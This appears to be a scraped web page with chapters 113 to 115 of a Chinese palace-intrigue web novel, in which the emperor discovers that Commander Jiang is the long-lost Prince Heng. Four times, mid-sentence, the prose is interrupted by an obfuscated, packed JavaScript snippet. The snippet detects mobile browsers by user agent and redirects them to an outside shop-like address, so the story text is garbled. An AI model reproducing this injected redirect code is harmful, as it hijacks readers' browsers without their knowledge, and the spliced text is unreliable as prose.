剑尖将要抵到那人喉咙时,耳边传来姜六航清爽的声音:“恍然如梦。” 那人就在面前,剑尖只要再进一寸,即可刺入他的喉咙,变招却刺向了另外的方向。但一声入耳,裴佑没有丝毫犹豫,几乎是身体自然的条件反射,在万星催促的末尾,顺畅地接上了恍然如梦的一个变式。 这个衔接,她曾练习过千百次。 一丝疑惑在脑中闪过,但立刻被她压下,专心对付眼前的对手。 “啊!”四周响起惊叫。 那剑明明要刺中对手了,却忽然转了方向,刺向了无人之处。 简直是胡闹! 念头才在众人脑中闪过,那随从原地消失了。 而裴佑的剑尖,突然凭空沾上了鲜血。接着,随从的身影出现,在剑前踉跄后退。众人仔细一看,他的左臂已经被划了一剑,血正是从那里流出来的。 裴佑愣了一下。 能接上万星璀璨的,除了恍然如梦的这个变式,还有其它,可只有这一式,能正好刺到对手。 姜恒正正好就报出了这一式。 这世上对再世剑法如此熟悉的人,除了那位世外高人和她,就只有……裴佑的心狂跳起来,强忍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17155967|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住没去看那人。 而在这短短的一瞬间,事情发生几次转折,引得惊叫声迭起,如翻涌的海浪,一浪更比一浪高。 秦信微微蹙眉,看了身后的御林军统领一眼。 冯简会意,到台前连连挥手示意众人安静。 人们反应过来,刹时停下叫喊,紧张地看过去,生怕小裴国公漏听了姜指挥报招式的声音。 此时,裴佑跨前一步,又是一剑刺过去。 再一次,在剑未刺中时,耳边传来姜恒报出下一招式的声音。 再一次恰好的衔接。 刚发生的一幕重演。 这还只是开始,此后,随着姜六航每一次出声,裴佑手中的剑必定见血。 严回看直了眼,紧紧抓住身边唐云的胳膊:“你看你看你看,我滴个乖乖,真是神了!姜指挥就像能看见那人似的,难怪她说那人的障眼法破起来很简单,这看穿了,是真的简单啊!” 唐云也没感觉到胳膊上的疼痛,连连点头。 应匡不小心揪断了一根长须,“嘶”了一声,侧头对左卫将军道:“此情此景,倒是让我想起了衡王。” 左卫将军深有同感,叹道:“是啊。衡王总能轻而易举看出对手招式中的破绽,往往对手招式才刚起势,将军就能预判,知道那招式怎么走,落在哪里。” 那种洞察力,让人恐怖。 和衡王对招,心理稍弱的人,极易产生被高山压着,强大到绝不可战胜的恐惧感,再无斗志。 “姜指挥想必和衡王一样,也有那样的天赋,对方才一稍动,她就看穿了,知道他要往哪里去。” 左卫将军的声音压得很低。 姜指挥先前当众说,别人都能学会看穿那障眼法,可其实,那样的天赋万中难寻其一。 姜指挥那样说,只是唬唬外邦人罢了。 看台上,姜持等人激动得脸上通红。 唐小豆喃喃道:“姜持,你没错,你姐姐真是天上的神仙,凡人可没有这样的本事。” 另一个隔间里只有赵松父子两人,因武成既是国公,又身任要职,分得的这个隔间还比较宽敞。坐在椅子上的武直突地起身,跑到看台边缘,扒着栏杆朝比斗的台上望,神情很是专注。 赵松被儿子的动作惊住了。 他从没见过儿子跑那样快。 也从没见过儿子那样专注的样子。 “儿子,你喜欢看比武?”可先前的比武,儿子兴趣只是平平。 “嗯。” 武直简单地应了一声,在回答时,脑袋并没转向他爹,稍稍偏一下的动作都没有,仍然全神贯注地盯着那边的高台。 赵松跟着望过去,看了一会儿,他似乎明白了儿子为何独独对这次的打斗兴趣浓厚。 那黑倭国随从一会儿消失,一会儿又出现,小孩子可能觉得新奇吧? 可再一想又不对。 先前那一场黑倭国随从和锦衣卫的打斗,儿子可没表现出特别的注意。 那边的比斗还在继续,黑倭国随从已经被彻底压制住。 “一剑到底。”姜六航报着这招时,搭在膝上的右手食指不自觉地动了动。 那年她创这一招时,恰好食指受伤,每出招时就会疼一下,此后就留下了这样一个习惯。 而此时,武直的目光直直地落在了她动着的手指上。 113. 第 113 章 比斗以裴佑一剑扎穿黑倭国随从的手掌结局。 黑倭国使者脸色很难看,悻悻地让随从退下,向上座道:“贵国武术精深,能人众多,我们心悦诚服。” 周围欢呼声四起。 裴佑收剑入鞘,握紧剑柄,顿了一下,像是积攒了力量和勇气,转过头,直直地望向姜六航。 是将军啊! 苦寻不见的将军就在那里。 姜六航站起身,看着裴佑逐渐发红的眼眶,生怕她当场叫破,刚要说话,裴佑突然朝着这边跑过来,一头撞上来,差点把她撞倒。 姜六航赶紧伸手抱住小裴国公的腰。 一旁的左卫将军“呵呵”笑道:“小裴国公高兴坏了吧?” 他觉得裴佑是因为大胜黑倭国,为国扬威,心中激动,才做出失态的举动。 其他夏朝大臣也这样认为。 他们也恨不得抱一抱身边的人,共享喜悦。 实在是,胜得太畅快了! 但不行,他们得表现出大国的矜持。 姜指挥可是说了,随便一个武者学习十来天,都能破了那障眼法,他们得表现出淡然的样子,让外邦使者知道,赢了和随从的比斗,于他们来说,只是小事一桩。 小裴国公和姜指挥是当事人,兴奋一点无妨,他们却不能那样。 上座,秦信望着相拥的两人,心中总觉得有些不对,却不知这感觉从何而起。 没过多久,裴佑从姜六航肩头抬起了头,含着泪笑道:“是啊,高兴坏了。”似在回左卫将军的话,又似在自语。 她环住姜六航的肩,使劲回抱了一下,这才松开手,道:“等会我们一起走,去你的帐篷。” 这是一刻都等不得了,散场后就要马上问个清楚。 姜六航知道逃不过,而且她也要叮嘱裴佑别莽撞地把自己的身份说出去,于是应了下来:“好。” 比斗过后,演武正式结束,明天即返回京城,来京的外邦使者们也会陆续回国。 皇帝对着众外邦使者说了些恩威并施的话,又邀请他们参加今晚的篝火晚宴。 到晚宴还有一个时辰,众人各自去准备。 裴佑迫不及待地拉着姜六航往帐篷去,把往这边走来想和姜六航说话的乌格远远甩到了身后。 “这位姜指挥排兵布阵极妙,武术上眼光又精准,若不是没有内力使不了武功,那又是一个衡王。”黑倭国使者走到乌格身边,低声道,“本想打压一下大夏的气势,却坏在她的手上,我刚刚看着,跟着我们来的队伍中一些人已经生了畏惧之心。” 乌格眼神有些阴沉,声音里却没显露出来,像是不在意地道:“没事,我们的人都是勇士,真打起来了不会退缩。” 这样说着,其实他心中满是后悔。 他知道魏枕书有本事,在军事上有天赋,但在北狄时,却没显得这样强,而且也没展现出武术上的天赋。若是早知道,他一定把这人牢牢地抓在手里。 —— 裴佑拉着姜六航进了帐篷,放下门帘,走到最里面,确定无人听到,紧紧抓住她的手,声音发颤地喊了一声:“将军。” 那双眼带着泪,带着希望,牢牢盯着她。 姜六航心下叹了口气,这身份,在裴佑面前是决计瞒不住了。 “嗯。”她轻轻地应道。 “将军!”裴佑更加抓紧她的手,以至于姜六航感觉到了疼痛。 但她心里发虚,于是没有挣扎,任由裴佑抓着。 “将军,真的是你?”虽然心中已经确定,可裴佑犹自不敢置信,急声追问。 她需要将军的明确保证,心才能彻底安定下来。 “是我。” “真的是将军,将军你回来了。”裴佑脸上露出笑,上上下下地打量面前的人。 过了会儿,她想起自重逢以来,姜六航愣是一点口风没露,顿时收起笑,一声声质问道,“将军,你为何不认我?有什么难处,为何不和我说?你明明知道,不管你要做什么,我都会帮你。” 还是没躲过,姜六航只得安抚道:“我也是怕你知道这事后不小心露出行迹,被人察觉。如果真遇到了我解决不了的事,我肯定会找你帮忙。” “真的?” “真的。” 裴佑心里顺了些,没再揪着此事,又连珠炮地问道:“将军,你那病怎么回事?不是说去北狄治病了吗?怎么在这里?鬼手神医到底能不能治好你的病?” 姜六航一件件地回答。 —— 就在姜六航和裴佑在帐篷内敞开了谈话的时候,一脸恍惚的赵松带着儿子到了御帐附近。 一直到现在,他还处在震惊之中,回不过神,直到望见守在御帐前的军士,他才一个激灵,仿佛从梦中惊醒。 他怎么就信了儿子的话呢? 衡王离开时,儿子才四岁半,真能记得清楚那样多? 焉知不是小孩子错把幻想当成了真实? 这要是弄错了,那后果他们可承担不起。 皇帝对衡王的重视有目共睹,万万容不得有人在衡王的事上胡言乱语。 “儿子,要不,我们还是回去吧?等你娘回来,我们告诉她,再决定怎么办。”赵松打起了退堂鼓,和儿子商量道。 “爹,要是姜指挥真是衡王,我们知道了,却没及时告诉皇上,皇上会不会怪罪我们?”武直仰着脸问。 那当然会啊! 被儿子一语点醒,赵松咬了咬牙:“我们走。”又交代儿子,“儿子,你别直接说姜指挥是衡王,只把你见到的告诉皇上。” 让皇上自己去判断,这样纵使有错,他们的责任也小了很多。 武直点头:“好。” 父子两人到了帐篷前,军士通报后,两人进去。 秦信正坐在案前批阅奏折,闻声抬起头,让两人免礼,问道:“有什么事?” 赵松环视一眼,帐篷里除了冯统领再没旁人,他紧张地咽了咽口水,回道:“皇上,犬子今日看了姜指挥指导小裴国公出招,想起了五年前在梁州的事。” 秦信意外地转了转佛珠。 赵松让军士传言,说有重要的事禀报,不想这事却是武直想起的。 五年前的武直才四岁半,能记得什么?赵松又怎会郑重其事地把这事报上来? 在他疑惑时,武直开口了。 “皇上,那一年在梁州,裴姨抱着我,和姜叔叔一起出了军营,找了一个没人的地方练剑。就是像今天一样,姜叔叔报招式,裴姨出剑。姜叔叔还给裴姨讲招式怎么接上,我记得,其中就有万星璀璨后接恍然如梦,还有……” 武直几乎按照顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156478|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 序,把今天裴佑的出招一一说了出来。 说完后,他长吁一口气。 好累啊,他从没一次说过这样多的话。 冯简已经听直了眼,下意识看向皇帝。 案后的人脸上一片空白,眼神散乱,过了一会才聚焦,定到小孩脸上,声音沙哑地道:“五年前的事你怎记得那样清楚?” 很有可能,小孩记错了,把今天发生的事原样套到了五年前。 六航在北狄,怎会是姜指挥? 数次怀疑,终于抛开,又被这小孩挑起。 秦信脑中闪过比斗过后,堂妹一头撞向姜指挥,两人紧紧相拥的画面,心脏急跳起来,手指不自觉地攥紧佛珠。 “皇上,那时的事我都记得的,我还记得那天姜叔叔穿的衣裳。” 随着武直的描叙,秦信的嘴唇一点点失了血色。 那天六航穿的衣裳颜色、样式,他同样记得清清楚楚,武直说的一丝不差。 不。 有确切证据证明六航和鬼手神医去年九月去了北狄,他不能再胡思乱想。 “姜指挥和衡王一样有武学上的天赋,报出相同的招式衔接不奇怪。”他道,像是在说服自己。 武直有点急了,“可是皇上,姜指挥报一剑到底那招时,和姜叔叔一样,右手食指也动了动。” 秦信目光陡然凝住。 “你们先出去,不要把这事告诉任何人。”他道。 待赵松父子俩出了帐篷,冯简迟疑地看向案前的人:“皇上?” 皇帝的脸白得吓人,声音却保持着一种竭力维持的平稳:“朕记得,谢尚书有一手下,原为江湖中人士,极擅辨音?” “是有这么个人,名叫夏长。”冯简一转念就明白了皇上此时提起这人的用意,连忙道,“这几年,这人在刑部,凭借这个本事很是立了些功劳。” “去看这人来了没有,如果来了,把他叫来。行踪隐秘些,别被人发现。如果在京城没来,立即派人去把他调来。” “是。” “给姜指挥治病的那个大夫,叫什么?跟着姜指挥来了吗?” “姓周,没跟来,留在了京城。” “传信京城的锦衣卫,严密监视周大夫。”秦信沉沉道。 如果姜指挥真是六航,那位周大夫必是鬼手神医。 若是夏长没听过衡王的声音,或许听过鬼手神医的声音。 “是。”冯简也想通了此节,立刻应下。 “你手上可有姜指挥的笔迹?” “有一份姜指挥交上来的演武报告。” “拿给朕。另外,把甄学士叫来。” 报告正好在身上,冯简从袖子里取出,呈给皇帝,然后出门,亲自去办皇帝交代的几件事。 帐篷里只剩下了秦信一人。 他从枕旁取了拓印下“彳”字的那张纸,和冯简给的报告并排放在桌面上,仔细对照。可是看来看去,也不能确定是否出于同一人之手。 但甄学士是书法大家,必能看出些端倪。 目光落在纸上,脑中各种念头穿梭,心中似有火燎,搅得帝王坐立不安。 冯简好像去了很久,怎么还不回来呢? 姜指挥真的是六航吗? 想到答案或许马上就会揭晓,帝王紧张得背上出了一层汗。 114. 第 114 章 冯简先带回了夏长的消息。 “皇上,臣刚才问了谢尚书,夏长不在京城,去年十月调去了南方办事,是否派人去把他叫来?” 怎么这样不巧?秦信蹙眉:“来京城要多久?” “日夜兼程,大约要七天。” 七天,可是他一个时辰都觉得难熬。秦信忍耐地抚了抚腰间的匕首,道:“立刻派人去。” 冯简应下,到门口吩咐军士。 正在此时,甄学士来了,冯简连忙把他引进去。 进到帐内,甄学士正欲行礼,却听站在案前的皇帝唤道:“甄学士,你过来看看,这两种笔迹可是出于同一人之手?” 甄学士听出皇帝话里的急切,赶紧几步走过去,低头往桌案上看去。 他先见到一份报告,紧接着,见到了报告旁边一张薄膜包裹着写着“彳”字的纸张,顿时瞪大了眼。 “甄学士,你仔细看看……”秦信一句话未完,发现甄学士异常的神色,他顿住,凌厉的凤目扫到学士的脸上,“怎么了?” “皇上,这个……”甄学士指着那张写着“彳”字的纸张,迟疑地道,“臣见过。” 秦信目光凝住:“在哪里见过?” “去年十一月,谢尚书也是拿了这样一个字,和一张写着其它字的纸,让臣辨认是不是同一个人写的。” “轰隆隆!轰隆隆!”似有无数道惊雷砸在头上,这一瞬间,秦信什么都明白了。 云山上,被人动过的坑洞和松树。 恰被调离京城的夏长。 全都是谢思礼动的手脚。 她早就查清了,查清了姜恒就是衡王,把这事刻意地掩盖了下去。 六航其实早在去年,在和州就和自己重逢。 自己一次次地认出了她,却又一次次地被那个小骗子蒙骗过去。 明明事实摆在眼前,一样的眼,相似的举止,同样的军事天赋,自己却一次次强行忽略。还有那些巧合,赤云,那只鸟,以及恰好在她首次进宫的那天天心草少了两片叶子,后来又只有她去了被监视的冷宫,自己却轻易放过。 她就是六航啊。 不,还有许多不清楚的地方,不能轻易地下定论。 先冷静下来。 这一次,一定要查个底朝天,确凿无疑才去寻那人。 “皇上,谢尚书曾嘱咐臣,不要把这事往外说。”耳边传来学士不安的声音。 秦信冷笑。 他让甄学士退下,咬着牙吩咐冯简:“宣谢思礼。” 谢思礼来得很快,进到帐篷后,她飞快地看了皇帝一眼,随即低下头行礼。 “谢尚书,你去年派人去云山挖了坑洞?拓下了松树上的字迹?”随着阴沉的声音,迫人的气势直逼过来。 谢思礼跪下,弓下腰,头触到放在地上的手背:“臣有罪。” 刚才冯简来问夏长时她就有了预料,纸终究没包住火,皇帝知道了真相。 这是直接认了。 秦信脑子里一阵昏眩,怒、惊、喜种种情绪在胸腔里冲撞,他竭力稳住心神,对着地下的人道:“你查清楚了,姜指挥就是衡王?” “是。”谢思礼应道。 为了大局,她能不说出真相,可被人当面问起,即便这人不是九五之尊,她也不能歪曲事实,违心地说谎。 “怎么确认的?”秦信紧接着问,屏住呼吸。 “夏长听了姜指挥的声音,因她喝药改变了嗓音,没听出来,但她身边的周大夫,夏长听出来了,是鬼手神医的声音。”谢思礼顿了顿,略去了皇帝已经知道的云山坑洞和字迹的事,道,“去年年底的最后一次宫宴,臣和姜指挥谈话,虽未挑明,但她默认了身份。” “她对你认了,她是衡王?” “是。” 秦信浑身失力,一下坐到了椅子上,急促地喘着气,眸光剧烈颤动。 姜恒就是衡王,再无可疑。 心心念念的人,其实早就来到了身边,看他挣扎,看他痛苦。 伙同其他人一起骗他,沈以贵、谢思礼,还有堂妹。堂妹今天分明认出了衡王,可显然没打算告诉他。 六航为何要瞒得这样紧? 以前是为了防止小人作乱,所以死遁,可现在所有人都知道了衡王还在世,六航为何还是不肯说出身份? 是不是她的病不好了? 她那一身内力呢?去年在和州时还与马荣交战,没有异常,为何突然消失不见?武功高强天下无敌的衡王怎成了如今的弱不禁风? 这些年,她在外面吃了多少苦?一个人默默地忍受了多少疼痛? 秦信噌地站起。 他要去当面问六航。 正要迈步,目光无意中扫到仍跪伏在地上的人,仿若有一盆凉水从头顶淋下,秦信霎时恢复了理智。 六航费尽心思瞒着他,此时又正值治病的关键时候,他怎能去扰她心神? 不但不能去找六航,还不能惩治欺君之人,以免惊动六航。 “衡王对你说过没有,她的病怎样?” “衡王说,有六成把握能治好。” “六成……”秦信嘴唇颤动,喃喃重复了一句,转而道,“你出去吧,不要对其他人说这事。” 谢思礼意外地抬起身子,想象中的罢官、下狱,没有一件落下,甚至连申斥也没有。她触到帝王的眸光,那里面充斥着怒意,却忍了下来。 “谢皇上。”她磕了个头,起身,倒退着走了出去。 过了片刻,秦信也大步往门口走去。 呆愣住的冯简猛地醒神,赶紧跟上。 他到现在犹自不敢相信,姜指挥竟然是衡王? 皇上现在是要去找姜指挥对质吗? 可皇帝出来后并未往姜指挥的帐篷去,而是直奔拴在树上的黑影,翻身上马后,扬鞭喝了一声,朝前疾冲而去。 冯简带着数十个御林军紧随其后,他想问问皇帝去哪里,可看着前面沉默的身影,以及那握紧马鞭绷得发白的指节,他不敢开口。 马速提到了极致,风声呼啸着扑到脸上,冰冷刺骨,可冷却不了秦信那从心脏涌向全身的灼热。 六航啊,就在那里,生死难料。 若是再来一次,他还能熬过去吗? 一口气跑了半个时辰,秦信这才停下。下马时,他一个踉跄,差点摔倒,所幸被冯简扶住了,就地坐在了地上。 冯简偷眼瞧去,皇帝满头的汗,脸色苍白,紧抿着唇,目光呆愣无神。 挥手让军士们退后,他蹭到皇帝身边,小心地唤道:“皇上?” “冯简,你说,她为什么不认我?”皇帝的声音空茫。 冯简喉间涌上哽意,咽了一口唾沫,缓声劝道:“皇上,衡王定是想等情况稳定后再和您相认。” “她是不是打算,若是病治不好,就不认我了?” 冯简张了张嘴,说不出话来。 好在皇帝没逼他回答,坐了一会,虽然还是面无人色,神情却慢慢镇定了下来,撑着地起来,望向营帐的方向,声音沉哑地道:“回去吧。” —— 夜晚,北郊场地上点起了数百只火把,场地中央燃着篝火,众人团团围坐。各人面前的小桌上,摆放着色香味俱全的菜肴。 已经到了开宴的时间,上座还空着。幸好姜丞相和迟尚书两人和外邦使者们攀谈着,两人都见多识广,和使者们很能说得上话,气氛热烈,使者们也没觉得自己被慢待。 姜六航、裴佑、左卫将军三人坐在一块儿。 “皇上去哪儿了?”姜六航望了上座一眼,问可能知情的左卫将军。 “带了一些人去跑马了。” “这时候跑马?”姜六航怀疑地问。 明明要开宴了,却去跑马以致迟到,大哥怎会是这样不周全的人? 左卫将军也觉得奇怪:“先前也没听说要去跑马,突然就去了。” 正说着,皇帝来了,径直走到上座落座,含笑对外邦使者们道:“刚才有急事,朕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17161808|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赶去处理,怠慢了各位,待会儿朕先自罚一杯。” “好!皇上爽快!”乌格在下面大声道了一句。 皇帝先自罚了一杯,再和众人一起喝了一杯,然后让众人自便。 场上逐渐热闹起来。 众人一边闲谈,一边喝酒吃菜,还有人取了军士提供的野物去火上烤。 皇帝也拿了一只野鸡,去了火堆边坐下,把野鸡架在火堆上。 姜六航眼巴巴地望着那被烤得流油的野鸡,心中可惜。 大哥的手艺,在场的难有人比得上。但这只野鸡,大哥要么是烤了自己吃,要么分给重臣,她是吃不到了。 正暗暗咽着口水,耳边传来裴佑的声音:“这是熏腊肉,这是炖羊肉,喜欢吃就多吃点,把身体养好。” 她低头,碗里已经被裴佑夹来的菜堆成了小山。 姜六航连忙拿起筷子开干。 正吃得欢快,忽然察觉一道带着侵略的视线落在身上,她顺着看过去,却是乌格,端着一杯酒朝她举了一下,仰头喝下。 裴佑也看见了,皱了皱眉,道:“别管他,你吃菜。” 可偏偏乌格喝完酒后,把酒杯放在桌上,起身往这边走过来。 待乌格到面前后,姜六航和裴佑坐着没动,左卫将军望了望,往下挪了一个位子,让乌格在裴佑旁边坐下。 “枕书。”乌格隔着裴佑和姜六航打招呼,目光牢牢锁在她脸上。 姜六航抬起眼皮:“我不记得那个名字了,首领还是叫我姜指挥吧。” 乌格目光沉了沉。 越是接触,他越是觉得这人变了很多。 而他也察觉到,自己对这人的感情也产生了微妙的变化。以前他看这人,是以一个男子的眼光去看女子,含着怜惜,但现在,他看着这人,心中涌动的是警惕、对抗。 他记忆中的魏枕书,和眼前的姜指挥判若两人。 “姜指挥。”他改了称呼,扫了眼姜六航碗里的菜,貌似关切地问,“吃得惯中原的菜吗?” “我原就是中原人,当然吃得惯。” 乌格忍了忍,还是没忍住刺了一句:“我以为姜指挥忘记中原菜的味道了。”不是说不记得“魏枕书”这个名字了吗?又怎还记得中原菜? “是啊,我忘了。”姜六航丝毫没有被问倒的不好意思,悠悠道,“但我的嘴记得。” 乌格吸了口气,脸上露出笑,转了话题:“姜指挥,等你的病好,我亲自来接你,此后我的妻子只有你一个。” 姜六航终于认真地看了他一眼。 北狄的男子可以娶四个妻子,乌格却承诺只娶一个,莫非他和魏枕书是真心相爱? “再说吧。”她含糊道。 乌格还待再说,一个军士走过来,对他抱拳道:“乌格首领,皇上请您去叙话。” 在座的四人都往那头望去。 皇帝坐在火堆旁,并没看着他们这边,而是垂着眸,专心地用匕首削着鸡子,火光在他脸上投下跳跃的影子。 乌格跟着军士过去。 左卫将军坐回原位,伸着脖子望向姜六航,担心地问:“姜指挥,你不会和他走吧?” 虽说姜指挥喜欢的是皇上,但皇上冷淡,乌格这般热情,难保姜指挥的心不渐渐偏向那边。 “不会!”姜六航拍着胸口保证,“我家人都在这里呢,我肯定不会离开他们。” 左卫将军放了心,笑呵呵地招呼道:“姜指挥,吃菜、吃菜。” —— 另一头,秦信与乌格说着话,手上却没停,直到把那只鸡子全部削完,让军士把堆着鸡肉的盘子给姜六航送去,只说是犒劳她演武辛苦。 他看着六航欣喜地接过盘子,朝这边望过来,触到他的视线后,弯起嘴角笑了笑,站起来遥遥行了一礼。 他的眼眶蓦然一阵发热,心口巨疼。 时隔五年,他再给六航烤了一只她喜欢吃的鸡子。 而此后,能给六航烤鸡子的时间,还有多久? 115. 第 115 章 第二天,北郊众人回到京城,之后外邦使者陆续离开京城,返回自己国家。 乌格在离京前到丞相府拜访,点名要见姜六航。姜六航敷衍了他一会,把他打发走了。 这两天姜六航一直在考虑怎样吃到冷宫里的天心草,实在没心情应付人。 她不能贸然行动,已经去过一次,落入了大哥眼中,若是第二次无功而返,大哥定会起疑心。也就是说,第二次必须要成功,且要避开周围的耳目。 用什么方法能引开他们,又不暴露自己呢? 更让姜六航觉得紧迫的是,演武已毕,大哥说不定这两天就会把她调出京城。 毕竟自盘云县回来后,姜指挥喜欢皇帝的传言愈演愈烈,连姜大人、王院长等都深信不疑,对着她忧心忡忡,数次欲言又止。 看在姜大人面子上,皇帝应该不会让她去很远的地方,最有可能的就是到京畿。可只要出了城,她进宫的机会就少了。 所以这几天之内,赶在大哥把她调离之前,她一定要吃到天心草。 可她想不出办法。 从北郊回来的第三天,姜六航正在皇宫训练场上训练军士,冯简来了,把她叫到一边,神色凝重。 姜六航心里一咯噔:这是要传达调职的旨意? “姜指挥,朝中有贼子的内应,你知道吧?” “嗯,知道。”姜六航点头。 马荣多次避开朝廷的追捕,大哥行踪暴露被围困在盘云县东山,都有内应在其中运作,且这内应的身份不低,能刺探到朝廷的重大机密。 “前些天,我们得到消息,内应那边的人要在冷宫接头,于是布下监控,可他们似乎察觉到了,一直没来。” 姜六航恍然。 原来冷宫埋伏着人是要捉内应。 “我们怀疑他们要转移接头地点,皇上下令,在皇宫各处暗中加强监视。姜指挥,你领五百御林军负责此事,特别是那些偏僻无人的地方,都要安排军士守着。” “好。”姜六航应下,又疑惑道,“可传递消息,也不必一定找个无人的地方,错身而过时,就可以把纸条递出去。” 冯简不由得佩服皇上,先就想到了衡王会问这个问题,给出了合情合理的答案,他按照皇上所说,不慌不忙地道:“我们得到的消息,他们要运送一件物品出宫,这东西在人前拿出来,很容易被发觉。” 姜六航点头,心中不由得暗喜。 真是正要瞌睡就送来了枕头,她负责皇宫布防,那顺便吃两片天心草不是轻而易举的事吗? 当天下午,姜六航就借着巡查之机,扯下两片天心草吃了。 半个时辰后,消息报到了勤政殿。 “没被衡王发觉吧?”秦信坐在御椅上,挺直身子问。 “没有。”冯简回道,“臣知道衡王感觉敏锐,交代了军士们,他们没有跟得太紧,远远地望见衡王进了那个院子,等衡王走后,他们去检查天心草,就发现被摘了两片叶子。” 秦信又问:“商公公没闹吧?” 前天他亲自与老太监说,有人要天心草的叶子治病,老太监没怎么犹豫就答应了。但老太监脑子不是很清楚,保不准当时答应了,待真的见到少了叶子时又发作。如果闹的动静太大,被六航发现就不好了。 “商公公去看了天心草,只嘀咕了几句‘娘娘心善,又给人药草治病了’,之后就再没提此事。” 秦信放松了些,肃声道:“看护好天心草,万不能出差错。” 六航可能还要用到天心草。 冯简知道这事的重要,郑重应道:“皇上放心。” 秦信翻开一本奏折,拿起笔又放下:“让那些来京的和尚道士都散了,想回原籍的,给他们一些银子,想留在京城的,把他们安排在京城的寺庙里。” “那悟尘大师呢?”冯简紧着声音问。 秦信看他一眼,淡淡道:“和其他人一样。” “是!”冯简回答的声音格外响亮。 皇上总算要把这和尚赶走了。 —— 在姜六航看来,后面的日子很顺畅。 她仍然任御林军指挥,日常在家里和皇宫之间打转,每半个月出城一次,组织军士对抗练习。 值得一提的是,她恢复了每日的早朝。但早朝也没她什么事,从头到尾,她只是一个背景板。 这期间,除了早朝,她只见过皇帝三四次,都是偶遇时匆匆一瞥。 时间很快到了五月中。 这天是姜允、徐真两位居士的祭日,许多人到两位居士坟头祭拜,朝中大臣也去了不少。姜六航不欲与这些人碰面,她想单独和爹娘说说话,于是准备晚上再去。 裴佑和孙从庸都要陪着她去,但这两天孙从庸今年新收的小徒弟——薛安,姚馨和薛勇的女儿,不小心着凉了,正在发高热,姜六航劝从庸叔叔留下观察小孩病情,只和裴佑结伴同去。 两人到坟茔时已是深夜,坟前空无一人,皎洁的月光映在墓碑上。不同于姜六航第一次来,今天一丝儿风也没有。两人点起火,慢慢地烧着纸钱。 姜六航低低地道:“爹、娘,再过一个月,就可确定能否去除体内的毒性了。如果能好,我就……”就把我喜欢的人带来给你们看。 顾忌着裴佑在旁边,她把话咽了回去。 就在这时,她听到裴佑的声音:“有人来了。” 她抬头望去。 远处的路上,一团光亮急速而来,伴着马蹄声。 光亮靠近,姜六航看清了,有两个人骑着马过来,其中一人手持灯笼。 虽然还看不清面容,但从那身形,姜六航认出了人。 是大哥和冯简。 裴佑也认出来了,两人赶忙站起。 来人到了近前,翻身下马,皇帝目光扫过两人,在姜六航脸上微不可察地停顿了一下,随即移开,落到火堆上。 “皇上。”姜六航和裴佑一齐行礼。 “无须多礼。”秦信从马身上取下一个篮子,弯腰放到火堆旁的地上,姜六航瞟了一眼,那里面装满了纸钱,秦信把篮子放好后直起身,看着裴佑,“你请求在京城多留几个月,是为了今天祭拜衡王的父母?” 裴佑眨了一下眼。 皇帝说的只是原因之一,她推迟去南疆最主要的原因是想等到六月中将军的病情明确,是好是坏,第一时间知道结果,免得在千里之外等得心焦。 当然,对着皇帝不能说这样的真话,她顺势说道:“是啊,以前不知两位居士是衡王的父母,如今知道了,祭日怎么都要来拜一拜。这事了后,臣收拾收拾,大概一个月之后就可去南疆了。” “姜卿呢?”秦信手指捏紧佛珠,目光转到姜六航,声音有些沙哑地道,“你和衡王应该不相识吧?” 姜六航一愣,大哥怎么突然叫她“卿”了? 皇帝一般叫臣子们的职务,有时也称“卿”,她就听过皇帝叫姜大人为“姜卿”。 但皇帝一直叫她“姜指挥”。 在她稍顿时,裴佑已迅速接话:“姜指挥是陪臣来的。” “原来如此。”秦信点头,淡声道,“你和姜卿的关系倒是好。” 当着他的面都敢撒谎,明明是她陪着六航来的。 裴佑莫名觉得皇帝的话中含着一股冷意,身上的汗毛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17161809|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都竖了起来。 冯简同情地瞥了小裴国公一眼。 皇上现在不便发作,心里记着帐呢。 秦信克制地把目光从义弟脸上移开,走到坟前,撩起袍子跪了下去。 皇帝向来只跪天地祖先,他这举动让三人都惊了一下。 